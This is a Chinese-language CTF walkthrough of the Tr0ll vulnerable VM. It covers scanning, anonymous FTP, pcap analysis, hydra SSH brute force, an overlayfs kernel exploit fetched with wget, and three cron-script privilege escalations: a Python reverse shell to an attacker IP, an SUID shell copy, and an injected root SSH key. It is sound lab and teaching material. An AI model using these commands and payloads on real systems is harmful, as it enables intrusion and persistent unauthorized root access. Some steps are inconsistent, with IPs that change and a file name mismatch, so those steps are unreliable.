freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

No.4-红队渗透项目:Tr0ll
2024-04-17 20:21:28

简介

作者:摇光

时间:2024-04-17

座右铭:路虽远,行则将至,事虽难,做则必成。

请注意:对于所有这些计算机,我已经使用VMware运行下载的计算机。我将使用Kali Linux作为解决该CTF的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,我概不负责。

一.信息收集

在VM中获取攻击目标的ip地址,用nmap获取目标主机的ip地址

nmap -sP 192.168.111.0/24

1713350152_661fa6081b056e9a19438.png!small?1713350152863

目标主机的ip:192.168.111.136

对目标主机进行全端口扫描

nmap 192.168.111.136 -p-

1713350213_661fa645c1a1a0ebeb860.png!small?1713350214173

扫描其端口更详细的信息,包括版本号及其它信息

nmap 192.168.111.136 -p- -sS -sV -A

1713350317_661fa6ad73ac91365d407.png!small?1713350318405

扫描发现ftp存在lol.pcap流量文件,还有FTP带有匿名登录名:Anonymous FTP login allowed,80http存在robots.txt和/secret目录文件。

1)ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rwxrwxrwx    1 1000     0            8068 Aug 09  2014 lol.pcap

2)22/tcp open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2 (Ubuntu Linux; protocol 2.0)
3)80/tcp open  http    Apache httpd 2.4.7 ((Ubuntu)
| http-robots.txt: 1 disallowed entry 
|_/secret

登录FTP枚举:ftp 192.168.111.136
账号密码:
Anonymous
Anonymous

1713350562_661fa7a2bdf6956e250d6.png!small?1713350563509

下载lol.pcap流量文件到本地

wireshark流量分析:wireshark lol.pcap

1713350785_661fa8815f346bb401239.png!small?1713350786241

wireshark对流量界面右键->追踪流量->TCP流量!

1713350857_661fa8c9a0ab40c6ec0f5.png!small?1713350858858

获得secret_stuff.txt文件

tcp.stream eq 2

1713350975_661fa93f00be1f4d6eee1.png!small?1713350975527

Well, well, well, aren't you just a clever little devil, you almost found the sup3rs3cr3tdirlol :-P

Sucks, you were so close... gotta TRY HARDER!

谷歌翻译:好吧好吧,你不是一个聪明的小恶魔吗,你差点就找到了sup3rs3cr3tdirlol :-P 糟了,你已经很接近了...必须再努力一点!

浏览器访问http://192.168.111.136/sup3rs3cr3tdirlol/(http://192.168.111.136/secret_stuff.txt浏览器无法访问)

1713351135_661fa9df7b61c5116b1bc.png!small?1713351135814

下载保存roflmao文件到本地,strings 进行分析该文件(file roflmao    ---枚举发现是32位的ELF 二进制文件)

1713351271_661faa6760cebf40f58d7.png!small?1713351272055

发现Find address 0x0856BF to proceed

页面枚举http://10.211.55.32/0x0856BF/

1713351320_661faa9855bd94ca44364.png!small?1713351320665

存在两页页面:good_luck/   this_folder_contains_the_password/

浏览http://192.168.111.136/0x0856BF/good_luck/which_one_lol.txt

1713351436_661fab0cbe2aac344b68b.png!small?1713351437771

浏览http://192.168.111.136/0x0856BF/this_folder_contains_the_password/Pass.txt

1713351474_661fab32b4cc8e71f3f16.png!small?1713351475317

二、web渗透

初步猜测是用户密码hydra爆破


hydra爆破

vi yaoguang2.txt

1713351589_661faba5a6fd24e162c12.png!small?1713351589962

保存退出:esc--> :wq! -->enter

hydra -L yaoguang2.txt -p Pass.txt 192.168.111.136 ssh

1713351691_661fac0b5dfa305ac9cd9.png!small?1713351692285

获得用户名

login: overflow   password: Pass.txt

登录系统ssh

ssh overflow@192.168.111.136

1713351787_661fac6bdda65466fffaf.png!small?1713351788273

将伪shell变为正常shell:python -c 'import pty;pty.spawn("/bin/bash")'

查看当前权限:id

查看系统版本:uname -a

1713351928_661facf88104b7f88fe39.png!small?1713351929316

三、内核提权

在kali中查看当前版本的exp

searchsploit linux ubuntu 3.13.0

1713352009_661fad49ad98825dc8240.png!small?1713352010500

只有两个符合的
Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) - 'overlayfs' Local Privilege Escalation                                        | linux/local/37292.c
Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) - 'overlayfs' Local Privilege Escalation (Access /etc/shadow)                   | linux/local/37293.txt

利用37292.c:

拷贝37392.c到本地

cp /usr/share/exploitdb/exploits/linux/local/37292.c /root/Desktop/

1713352075_661fad8bcb93f49487d3c.png!small?1713352076124

1713352182_661fadf6a42b985fd8625.png!small?1713352183554

它会自动结束ssh进程,而且还是整点提示!说明有计划任务在自动到点结束进程。每5分钟就被踢一次!

wget http://192.168.111.128:8081/37292.c

1713352260_661fae4421825aeaa4a17.png!small?1713352261419

编译提权脚本:gcc 37292.c -o dayu1

运行提权脚本:./dayu1

1713352389_661faec5351ddcef7328f.png!small?1713352390180

切换到root权限,查看flag

1713352446_661faefe004f6c676e85a.png!small?1713352446481

flag:702a8c18d29c6f3ca0d99ef5712bfbdc

拓展:

Broadcast Message from root@trol                                               
(somewhere) at 23:35 ...                                               

TIMES UP LOL!                                                                  

Connection to 192.168.111.136 closed by remote host.
Connection to 192.168.111.136 closed.
----
它会自动结束ssh进程,而且还是整点提示!说明有计划任务在自动到点结束进程。每5分钟就被踢一次!

find / -name cronlog 2>/dev/null    ---查看计划任务日志信息

1713352664_661fafd876fb8f2626b47.png!small?1713352664897

find / -name cleaner.py 2>/dev/null   ---查看文件在哪儿

1713352763_661fb03b4f66b0bf8173c.png!small?1713352766015

find / -writable 2>/dev/null   ---枚举所有可写入权限的文件

1713352796_661fb05c60f6422f8d62d.png!small?1713352797465

1713352850_661fb092a45b76e2b1614.png!small?1713352851069

知道了计划任务和py脚本可写入,以及py的位置后,下来演示其它三种提权方法:
1)反弹shell
2)创建root可执行程序,获得root权限
3)写入ssh rsa,ssh登录root用户

方法一:反弹shell进行提权

使用nano进行写入反弹shell脚本,vi一般无法写入,这里使用nano

nano /lib/log/cleaner.py

1713353371_661fb29bbea463ccca325.png!small?1713353372058

1713353438_661fb2de9797857e08375.png!small?1713353439181

反弹shell提权脚本

def con():
import socket, time,pty, os
host='10.211.55.19'
port=9999
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.settimeout(10)
s.connect((host,port))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
os.putenv("HISTFILE",'/dev/null')
pty.spawn("/bin/bash")
s.close()
con()

保存退出:

ctal x|y
---------

获得反弹shell,切换到root权限,获得flag

nc -tvlp 9999

1713353724_661fb3fcc914b1ec20e2a.png!small?1713353725888

方法二:创建root可执行程序,获得root权限

nano /lib/log/cleaner.py         --进入计划任务文件

os.system('cp /bin/sh /tmp/dayu1')
os.system('chmod u+s /tmp/dayu1')

1713354272_661fb6205cea1485788a1.png!small?1713354272754

ctrl x|y 保存

打开新的标签

ssh overflow@192.168.111.136

输入密码:Pass.txt

将伪shell变为正常shell

python -c 'import pty;pty.spawn("/bin/bash")'

切换为tmp模式下

cd /tmp

查看是否已经生成sh文件

ls

运行sh文件

./sh

切换到root权限,查看flag

cd /root
ls
cat proof.txt

1713354632_661fb788a4fd15c866c15.png!small?1713354633680

方法三:写入ssh rsa,ssh登录root用户进行提权

ssh-keygen   ---全部空格回车

1713354782_661fb81e1317023ab9f59.png!small?1713354782635

cd ~/.ssh

ls

cat id_rsa.pub

1713354871_661fb8774da45aa99a6e5.png!small?1713354872242

nano /lib/log/cleaner.py         --进入计划任务文件

将try:中的内容改为

mkdir /root/.ssh; chmod 775 .ssh; echo "加上 id_rsa.pub产生的密匙内容上图有例子" >> /root/.ssh/authorized_keys

如:

os.system('mkdir /root/.ssh; chmod 775 .ssh; echo

"b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbuZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAw2Wzyn2KSHkBLY69REAgd6Y8BtXzxAAOW7eyDQnfQAAAAlyb290QGthbGk=
" >> /root/.ssh/authorized_keys ')

等几分钟,远程到root权限则无需密码

ssh root@192.168.111.136 

如果你有其他的方法,欢迎留言。要是有写错了的地方,请你一定要告诉我。要是你觉得这篇博客写的还不错,欢迎分享给身边的人。


# 渗透测试 # 黑客 # web安全 # 内网渗透 # CTF
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录